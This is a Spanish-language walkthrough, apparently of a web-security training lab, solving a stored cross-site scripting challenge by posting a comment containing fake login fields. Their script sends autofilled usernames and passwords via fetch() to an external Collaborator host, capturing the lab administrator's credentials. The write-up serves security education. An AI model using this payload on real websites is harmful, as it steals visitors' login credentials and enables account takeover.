Descripción

This lab contains a stored XSS vulnerability in the blog comments function. A simulated victim user views all comments after they are posted. To solve the lab, exploit the vulnerability to exfiltrate the victim’s username and password then use these credentials to log in to the victim’s account.

Exploiting cross-site scripting to capture passwords writeup

Al entrar en el laboratorio veremos un Blog. Tendremos que entrar en un post en ‘View post’ para encontrar el formulario vulnerable a XSS.

Para realizar este ataque nos vamos a aprovechar de la funcionalidad que tienen los navegadores de autocompletar los campos de nombre de usuario y contraseña para iniciar sesión. Crearemos el siguiente código:

<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://aycjmedgwkfqb8yi7e1appai59b0zqnf.oastify.com',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

Nota: Para recibir la petición hay que proporcionar una URL del ‘Collaborator’.

Pondremos este código en ‘Comment’, que se encargará de hacer lo siguiente:

  1. Crea un campo con el nombre ‘username’ (igual que el encontrado en ‘My account’ en otros laboratorios).
  2. Crea un campo con el nombre ‘password’ (igual que el encontrado en ‘My account’ en otros laboratorios).
  3. Cuando se modifica el valor de ‘password’ , si tiene contenido, se envía una petición al ‘Collaborator’ con los valores que tengan los campos.

Al enviar el comentario aparecerá en el ‘Collaborator’ lo siguiente:

Obteniendo así el usuario ‘administrator’ y la contarseña ‘xxzabjrej4ft0ujtr8y8’. Al iniciar sesión en ‘My account’ con esta cuenta completaremos el laboratorio:

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *